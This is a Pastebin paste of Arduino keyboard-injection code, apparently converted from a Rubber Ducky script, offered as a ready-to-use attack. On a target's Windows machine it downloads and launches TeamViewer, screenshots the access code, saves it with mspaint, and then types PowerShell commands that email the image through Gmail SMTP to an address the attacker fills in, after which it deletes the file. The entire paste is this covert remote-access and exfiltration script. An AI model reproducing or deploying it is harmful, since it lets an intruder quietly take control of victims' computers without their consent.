Advertisement
Guest User

Arduino code teamviewer

a guest
Mar 14th, 2017
233
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.73 KB | None | 0 0
  1. /*
  2. * Generated with <3 by Dckuino.js, an open source project !
  3. */
  4.  
  5. #include "Keyboard.h"
  6.  
  7. void typeKey(int key)
  8. {
  9. Keyboard.press(key);
  10. delay(50);
  11. Keyboard.release(key);
  12. }
  13.  
  14. /* Init function */
  15. void setup()
  16. {
  17. // Begining the Keyboard stream
  18. Keyboard.begin();
  19.  
  20. // Wait 500ms
  21. delay(500);
  22.  
  23. // Title: Screenshot Teamviewer code on your email
  24. // Author: Dude
  25. // Version: 3
  26. // Description: I created an arduino script that downloads teamviewer on the targets machine, executes a one time run and then screenshots the code and sends it to your email
  27. //(You need to change the email adresses to your own, you need gmail)
  28. delay(3000);
  29.  
  30. Keyboard.press(KEY_LEFT_GUI);
  31. Keyboard.press('r');
  32. Keyboard.releaseAll();
  33.  
  34. delay(50);
  35.  
  36. Keyboard.print("https://download.teamviewer.com/download/TeamViewer_Setup_nl.exe");
  37. typeKey(KEY_RETURN);
  38.  
  39. delay(40000);
  40.  
  41. Keyboard.press(KEY_LEFT_CTRL);
  42. Keyboard.press('j');
  43. Keyboard.releaseAll();
  44.  
  45. delay(2000);
  46.  
  47. typeKey(KEY_TAB);
  48. typeKey(KEY_TAB);
  49.  
  50. typeKey(KEY_RETURN);
  51.  
  52. delay(10000);
  53.  
  54. typeKey(KEY_DOWN_ARROW);
  55. typeKey(KEY_DOWN_ARROW);
  56.  
  57. delay(200);
  58.  
  59. typeKey(KEY_RETURN);
  60.  
  61. delay(15000);
  62.  
  63.  
  64. typeKey(206);
  65.  
  66. delay(100);
  67.  
  68. Keyboard.press(KEY_LEFT_ALT);
  69. Keyboard.press(KEY_F4);
  70. Keyboard.releaseAll();
  71.  
  72. delay(50);
  73.  
  74. Keyboard.press(KEY_LEFT_GUI);
  75. Keyboard.press('r');
  76. Keyboard.releaseAll();
  77.  
  78. delay(50);
  79.  
  80. Keyboard.print("mspaint");
  81.  
  82. typeKey(KEY_RETURN);
  83.  
  84. delay(2000);
  85.  
  86. Keyboard.press(KEY_LEFT_CTRL);
  87. Keyboard.press('v');
  88. Keyboard.releaseAll();
  89.  
  90. delay(300);
  91.  
  92. typeKey(KEY_LEFT_ALT);
  93. typeKey('f');
  94.  
  95. delay(50);
  96.  
  97. typeKey('a');
  98.  
  99. delay(50);
  100.  
  101. Keyboard.print("code");
  102.  
  103. delay(200);
  104.  
  105. typeKey(KEY_TAB);
  106. typeKey(KEY_TAB);
  107. typeKey(KEY_TAB);
  108. typeKey(KEY_TAB);
  109. typeKey(KEY_TAB);
  110. typeKey(KEY_TAB);
  111.  
  112. delay(500);
  113.  
  114. typeKey(KEY_RETURN);
  115.  
  116. delay(500);
  117.  
  118. Keyboard.print("%USERPROFILE%\\Desktop\\");
  119. delay(500);
  120.  
  121.  
  122. typeKey(KEY_TAB);
  123. typeKey(KEY_TAB);
  124. typeKey(KEY_TAB);
  125. typeKey(KEY_TAB);
  126. typeKey(KEY_TAB);
  127. typeKey(KEY_TAB);
  128. typeKey(KEY_TAB);
  129. typeKey(KEY_TAB);
  130.  
  131. typeKey(KEY_RETURN);
  132.  
  133. delay(1000);
  134.  
  135. Keyboard.press(KEY_LEFT_ALT);
  136. Keyboard.press(KEY_F4);
  137. Keyboard.releaseAll();
  138.  
  139.  
  140. delay(50);
  141. Keyboard.press(KEY_LEFT_GUI);
  142. Keyboard.press('d');
  143. Keyboard.releaseAll();
  144. delay(50);
  145.  
  146. Keyboard.print("code");
  147. Keyboard.press(KEY_LEFT_SHIFT);
  148. Keyboard.press(KEY_F10);
  149. Keyboard.releaseAll();
  150.  
  151. delay(50);
  152.  
  153. typeKey(KEY_UP_ARROW);
  154. typeKey(KEY_UP_ARROW);
  155. typeKey(KEY_UP_ARROW);
  156. typeKey(KEY_UP_ARROW);
  157. typeKey(KEY_UP_ARROW);
  158. typeKey(KEY_UP_ARROW);
  159. typeKey(KEY_UP_ARROW);
  160. typeKey(KEY_UP_ARROW);
  161. typeKey(KEY_UP_ARROW);
  162. typeKey(KEY_RETURN);
  163.  
  164.  
  165.  
  166. typeKey(KEY_RETURN);
  167.  
  168.  
  169. Keyboard.press(KEY_LEFT_GUI);
  170. Keyboard.press('r');
  171. Keyboard.releaseAll();
  172. delay(50);
  173. Keyboard.print("cmd");
  174. typeKey(KEY_RETURN);
  175. delay(1000);
  176. // --> Mail code.png
  177. Keyboard.print("powershell");
  178.  
  179. typeKey(KEY_RETURN);
  180.  
  181. Keyboard.print("$SMTPServer = 'smtp.gmail.com'");
  182.  
  183. typeKey(KEY_RETURN);
  184.  
  185.  
  186. Keyboard.print("$file = ");
  187.  
  188. Keyboard.press(KEY_LEFT_CTRL);
  189. Keyboard.press('v');
  190. Keyboard.releaseAll();
  191.  
  192. typeKey(KEY_RETURN);
  193.  
  194. Keyboard.print("$att = new-object Net.Mail.Attachment($file)");
  195.  
  196. typeKey(KEY_RETURN);
  197.  
  198. Keyboard.print("$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)");
  199.  
  200. typeKey(KEY_RETURN);
  201.  
  202. Keyboard.print("$SMTPInfo.EnableSsl = $true");
  203.  
  204. typeKey(KEY_RETURN);
  205.  
  206. Keyboard.print("$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('YOUREMAILSENDER@gmail.com', 'THEPASSWORDOFTHEEMAILSENDER')");
  207.  
  208. typeKey(KEY_RETURN);
  209.  
  210. Keyboard.print("$ReportEmail = New-Object System.Net.Mail.MailMessage");
  211.  
  212. typeKey(KEY_RETURN);
  213.  
  214. Keyboard.print("$ReportEmail.From = 'YOUREMAILSENDER@gmail.com'");
  215.  
  216. typeKey(KEY_RETURN);
  217.  
  218. Keyboard.print("$ReportEmail.To.Add('YOUREMAILRECEIVER@gmail.com')");
  219.  
  220. typeKey(KEY_RETURN);
  221.  
  222. Keyboard.print("$ReportEmail.Subject = 'Code Teamviewer'");
  223.  
  224. typeKey(KEY_RETURN);
  225.  
  226.  
  227. Keyboard.print("$ReportEmail.Attachments.Add($att)");
  228.  
  229. typeKey(KEY_RETURN);
  230. Keyboard.print("$SMTPInfo.Send($ReportEmail)");
  231.  
  232. typeKey(KEY_RETURN);
  233.  
  234. Keyboard.print("exit");
  235.  
  236. typeKey(KEY_RETURN);
  237.  
  238. delay(100);
  239.  
  240. Keyboard.press(KEY_LEFT_ALT);
  241. Keyboard.press(KEY_F4);
  242. Keyboard.releaseAll();
  243.  
  244. delay(50);
  245.  
  246. Keyboard.press(KEY_LEFT_GUI);
  247. Keyboard.press('d');
  248. Keyboard.releaseAll();
  249.  
  250. delay(100);
  251.  
  252. Keyboard.print("code");
  253. typeKey(KEY_DELETE);
  254.  
  255. // Ending stream
  256. Keyboard.end();
  257. }
  258.  
  259. /* Unused endless loop */
  260. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement